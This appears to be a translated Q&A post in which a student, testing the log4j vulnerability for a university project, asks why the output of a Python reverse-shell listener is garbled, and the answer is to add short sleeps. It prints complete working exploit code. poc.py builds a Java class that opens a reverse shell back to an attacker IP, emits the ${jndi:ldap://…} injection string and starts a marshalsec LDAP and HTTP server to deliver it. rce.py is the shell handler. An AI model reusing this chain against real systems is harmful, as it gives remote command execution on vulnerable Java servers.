Python 服务器没有正确显示输出

Python server does not show output correctly

我正在为一个大学项目测试 log4j 漏洞。为此,我使用一个 python 服务器,它通过创建反向 shell 连接到 java 客户端。 除了未正确显示到服务器的输出外,一切正常。具体来说,服务器显示前两个输入的输出,我不明白为什么。 我是 python 和 java 编程的新手,所以我有点困惑。

初始项目:https://github.com/KleekEthicalHacking/log4j-exploit 我做了一些更改并添加了一个 python 套接字来处理反向 shell.

PS:使用 netcat 似乎可以正常工作,但使用一些 space 无效的命令(例如:cd .. 无效)

对于运行这个项目,我使用kali linux(python服务器)和ubuntu(java webapp)。此代码尚未管理具有 windows os

的客户端

poc.py + 利用 class:

import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing

from http.server import HTTPServer, SimpleHTTPRequestHandler

init(autoreset=True)


def listToString(s):
    str1 = ""
    try:
        for ele in s:
            str1 += ele
        return str1
    except Exception as ex:
        parser.print_help()
        sys.exit()


def payload(userip, webport, lport):
    genExploit = (
                     """
                import java.io.IOException;
                import java.io.InputStream;
                import java.io.OutputStream;
                import java.net.Socket;

                public class Exploit {

                    public Exploit() throws Exception {
                        String host="%s";
                        int port=%s;
                        //String cmd="/bin/sh";
                        String [] os_specs = GetOperatingSystem();
                        String os_name = os_specs[0].toString();
                        String cmd = os_specs[1].toString();
                        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
                        Socket s=new Socket(host,port);
                        InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
                        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
                        so.write(os_name.getBytes("UTF-8"));
                        while(!s.isClosed()) {
                            while(pi.available()>0)
                                so.write(pi.read());
                            while(pe.available()>0)
                                so.write(pe.read());
                            while(si.available()>0)
                                po.write(si.read());
                            so.flush();
                            po.flush();
                            Thread.sleep(50);
                            try {
                                p.exitValue();
                                break;
                            }
                            catch (Exception e){
                            }
                        };
                        p.destroy();
                        s.close();
                    }
                    
                    public String [] GetOperatingSystem() throws Exception {
                       String os = System.getProperty("os.name").toLowerCase();
                       String [] result = new String[3];
                       if (os.contains("win")) {
                           result[0] = "Windows";
                           result[1] = "cmd.exe";
                       }
                       else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
                           result[0] = "Linux";
                           result[1] = "/bin/sh";
                       }
                       return result;
                    }
                }
                 """) % (userip, lport)

    # writing the exploit to Exploit.java file

    try:
        f = open("Exploit.java", "w")
        f.write(genExploit)
        f.close()
        print(Fore.GREEN + '[+] Exploit java class created success')

    except Exception as e:
        print(Fore.RED + f'[X] Something went wrong {e.toString()}')

    # checkJavaAvailible()
    # print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # openshellforinjection(lport)
    checkJavaAvailible()

    print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
    p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
    p1.start()

    print(Fore.GREEN + '[+] Setting up LDAP server\n')
    p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
    p2.start()

    # create the LDAP server on new thread
    # t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
    # t1.start()
    # createLdapServer(userip, webport)

    # start the web server
    print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
    httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
    httpd.serve_forever()


def checkJavaAvailible():
    javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
                              stdout=subprocess.DEVNULL)
    if javaver != 0:
        print(Fore.RED + '[X] Java is not installed inside the repository ')
        sys.exit()


def createLdapServer(userip, lport):
    sendme = "${jndi:ldap://%s:1389/a}" % userip
    print(Fore.GREEN + "[+] Send me: " + sendme + "\n")

    subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
                    "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])


def open_shell_for_injection(lport):
    terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
    # terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work


if __name__ == "__main__":

    try:
        parser = argparse.ArgumentParser(description='please enter the values ')

        parser.add_argument('--userip', metavar='userip', type=str,
                            nargs='+', help='Enter IP for LDAPRefServer & Shell')

        parser.add_argument('--webport', metavar='webport', type=str,
                            nargs='+', help='listener port for HTTP port')

        parser.add_argument('--lport', metavar='lport', type=str,
                            nargs='+', help='Netcat Port')

        args = parser.parse_args()

        payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))

    except KeyboardInterrupt:
        print(Fore.RED + "\n[X] user interupted the program.")
        sys.exit(0)

rce.py:

import argparse
import socket
import sys

from colorama import Fore, init


def listToString(s):
    str1 = ""
    try:
        for ele in s:
            str1 += ele
        return str1
    except Exception as ex:
        parser.print_help()
        sys.exit()


def socket_for_rce(lport):
    print(Fore.GREEN + "[+] Setup Shell for RCE\n")
    SERVER_HOST = "0.0.0.0"
    SERVER_PORT = int(lport)
    BUFFER_SIZE = 8192
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((SERVER_HOST, SERVER_PORT))
    s.listen(1)
    print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
    client_socket, client_address = s.accept()
    print(
        Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
                                                                             f" --> "
                                                                             f"Connected! (exit = close connection)\n")
    os_target = client_socket.recv(BUFFER_SIZE).decode()
    print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
    if not os_target:
        print(Fore.RED + "[X] No OS detected\n")

    folderCommand = "pwd"
    folderCommand += "\n"
    client_socket.sendall(folderCommand.encode())
    path = client_socket.recv(BUFFER_SIZE).decode()
    print("path: " + path)
    if not path:
        print(Fore.RED + "[X] No work folder received\n")
    path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path

    while True:
        command = input(f"{path_text} > ")
        command += "\n"
        # if not command.strip():
        #    continue

        if command != "":
            if command == "exit":
                print(Fore.RED + "\n[X] Connection closed\n")
                client_socket.close()
                s.close()
                break

            else:
                client_socket.sendall(command.encode())
                data = client_socket.recv(BUFFER_SIZE).decode()
                print(data)
        else:
            pass


if __name__ == "__main__":

    try:
        parser = argparse.ArgumentParser(description='Instruction for usage: ')

        parser.add_argument('--lport', metavar='lport', type=str,
                            nargs='+', help='Rce Port')

        args = parser.parse_args()

        socket_for_rce(listToString(args.lport))

    except KeyboardInterrupt:
        print(Fore.RED + "\n[X] User interupted the program.")
        sys.exit(0)

结果:

现在有效。我在 rce.py

中的每个 sendall 之后添加了 time.sleep(0.2)